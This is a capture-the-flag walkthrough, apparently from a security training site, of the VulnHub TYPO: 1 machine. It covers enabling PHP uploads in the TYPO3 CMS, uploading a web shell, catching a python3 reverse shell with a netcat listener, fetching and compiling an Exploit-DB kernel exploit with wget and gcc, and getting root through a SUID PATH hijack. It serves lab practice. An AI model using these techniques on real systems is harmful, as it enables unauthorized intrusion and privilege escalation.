Typo 1: CTF walkthrough, part 2

Introduction

In the previous article, Part 1 of this CTF, we were able to complete the following steps on the victim machine:

1. Getting the target machine IP address by running the VM
2. Getting open port details by using the Nmap tool
3. Enumerating HTTP port 80 service with Dirb utility
4. Enumerating HTTP port 8000 and 8080 service with Dirb utility
5. Taking advantage of phpMyAdmin
6. Logging in into the application and exploiting the vulnerability

We have already explored various open ports on the target machine and have gained access to the admin panel of a CMS-based website hosted on the target machine.

Let’s continue from there. In this article, we will start with exploiting the CMS in order to upload a shell on the target machine. The steps we’ll be convering in this article are given below.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

The steps

Logging into the CMS and identifying a vulnerability

Uploading PHP shell and getting command shell access

Getting the root access by using a local exploit

Exploiting and reading the flag

The walkthrough

Step 7

In the following screenshot, we can see that we are logged into the CMS typo3 as the admin user. [CLICK IMAGES TO ENLARGE]

As we can see, after the login, we were redirected to the “typo3” dashboard. In CMS, a general approach is to find a file manager and upload files on the target machine. In this case, we found the file manager, but we are not able to upload a PHP file.

We tried various techniques to bypass the restriction but none of them worked. We decided to go through the detailed documentation of the typo3 CMS for further clues about the installation.

In the documentation, we found a file labelled “LocalConfiguration.php”, which can help in controlling and managing the allowed extensions for file upload. While exploring the settings of the CMS, we found the area which modifies the LocalConfiguration.php file. It can be seen in the following screenshot:

Above, we can see various options to change the upload file extension. We clicked on “Configure Installation-Wide Options”. Now, we changed the option for file extensions to “null,” which mean that files of all extensions will be allowed for upload.

In the above screenshot, we can see the changes have been saved. In the next step, we’ll be uploading the PHP shell on the target machine.

Step 8

First, let’s find a simple PHP backdoor on the web. See below:

We have searched a one-liner PHP shell on Google; now we just need to copy this code from here and create a PHP file. After copying the code, we pasted it in the notepad and saved it as “test.php”.

Our PHP shell is ready; now let’s just upload it on the target application. It can be seen in the screenshot given below.

In the highlighted area of the above screenshot, we can see the “test.php” file successfully uploaded in the Typo3 admin panel. Now, we should be able to open the file on the browser and utilize it to further advantage. The interactive browser shell can be seen in the following screenshot:

At first, I checked whether Netcat was available on the target machine, as it would make our job easier. We checked this by the Netcat help menu command, but it was not available, as it did not return any output. We will have to find another way to get the reverse shell of the target machine.

We checked another utility on the target machine. It can be seen in the screenshot given below:

In the above screenshot, we can see the PHP help menu, which confirms that PHP is accessible on the target machine. Let’s try some other utilities in a similar manner. It can be seen in the following screenshot:

We checked for Python availability on the target machine, as we can run Python commands for reverse proxy shell. However, it returned a blank screen. We kept on trying other variants and languages that may allow us to execute commands on the target machine. Luckily, we found some useful results:

In the above screenshot, we can see the “python3” help menu. This confirms the availability of python3 on the target machine and that we are able to access it through the browser shell.

We searched the web again for a python3 reverse shell command and found a workable payload for our case. The payload can be seen in the screenshot below:

As we can see in the highlighted area of the above screenshot, we tried to find a reverse shell cheat sheet on Google and found a useful reverse shell script. To successfully execute this script on the target machine, we must provide the IP address to receive the reverse connection and port number. In our case, the attacker machine IP address is 192.168.1.102. After making the changes in the payload, we just need to paste it in the URL to get the reverse connection. It can be seen in the following screenshot:

We have the payload ready, but before launching the script, we need to configure the attacker machine to receive reverse connections. So, we set up Netcat on the attacker machine and provided the port as “1234.” After that, we clicked on the URL and switched to the Netcat terminal to receive the connection. The results can be seen in the following screenshot:

Command used: nc -lvp 1234

We got the reverse connection of our target machine! But this is a limited shell and our goal is to get the root access. In the next step, we will enumerate it further in order to get the root access.

Step 9

Until now, we have limited access in our target machine, so let’s explore the system further and find a way to escalate user privileges. We started the enumerating by identifying the installed OS and kernel versions. The version number can be seen in the following screenshot:

Commands used:

• uname -a
• cat/etc/issue

The operating system and kernel version are Linux typo 4.19.0-8-amd64. We quickly ran a Google search to find an available exploit for the current version. The results can be seen in the following screenshot:

As we can see above, the very first result on Google shows the local exploit available on the Exploit-DB website. When we checked out the exploit URL, we found that the kernel version was vulnerable to local privilege escalation. The following screenshot shows further details of the exploit available on Exploit-DB:

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

We can see that the kernel version is vulnerable to the local privilege escalation vulnerability. A successful execution of this exploit on the target machine would help us to escalate the user privilege to root.

We started by analyzing the prerequisites mentioned for the exploit to be run as a limited shell on the target machine. To start with, let’s first download the exploit on the target machine.

Commands used:

• cd /tmp
• wget https://www.exploit-db.com/raw/47163

As we can see, first we changed the current directory to “/tmp”, which allows us to read and write files. After that, we used the wget utility to download the raw form of exploit. The downloaded exploit file is “47163.c”.

Before using the exploit on the target machine, we need to compile it. We used the gcc utility to compile the exploit. The command used to compile the exploit can be seen below:

Commands used:

• mv 47163 47163.c
• gcc 47163.c
• chmod +x a.out
• ./a.out

The compiled exploit file is “a.out”. As the next step is to execute the exploit, we have to provide executable permission to the file. We used the chmod command to give the executable permission to the exploit file and ran the exploit on the target machine.

Unfortunately, the exploit did not prove to be useful, as there was a runtime error. We could not exploit the privilege escalation vulnerability in the operating system, so let’s move forward and find other ways to get into the target machine as root user.

Step 10

As our privilege escalation attempt failed, let’s enumerate the SUID binary files using the find command. It can be seen in the following screenshot:

Command used: find / -type f -perm -u=s 2>/dev/null

After running this command, we were able to find the binary SUID, which is highlighted in the above screenshot. Now, we will try to read the binary SUID contents.

Command used: strings /usr/local/bin/apache2-restart

In the above screenshot, we can see the contents of the binary SUID. We used the strings command for this purpose; this command is used to read the SUID.

We got a service apache2 in the SUID binary, so let’s try to abuse this service.

Commands used:

• cd /tmp
• ls -la
• echo “/bin/bash” > service
• chmod +x service
• export PATH=/tmp/ :$PATH

As we can see in the above screenshot, we first changed the current directory to /tmp/. After that, we created a shell file “service” by using the echo command. By using chmod +x, we made the file executable. Now that we have created the service file, we copied the path for further use.

Commands used:

• apache2-restart
• id
• python3 -c 'import pty;pty.spawn("/bin/bash")
• ls -la

In the above screenshot, we have restarted the Apache service. This automatically initiated the “bin/bash” Python shell created by us and provided the root access of the target machine. Now, let’s look for the flag file to complete the CTF.

Commands used:

• cd /root
• ls
• cat proof.txt

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

In the above screenshot, we can see that the flag file “proof.txt” was situated in the root directory.

This marks the completion of this CTF. Hope you enjoyed solving this CTF with us!

 

Sources

TYPO: 1, VulnHub

Download TYPO: 1, VulnHub

Download TYPO: 1, VulnHub (torrent)

Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation, Exploit Database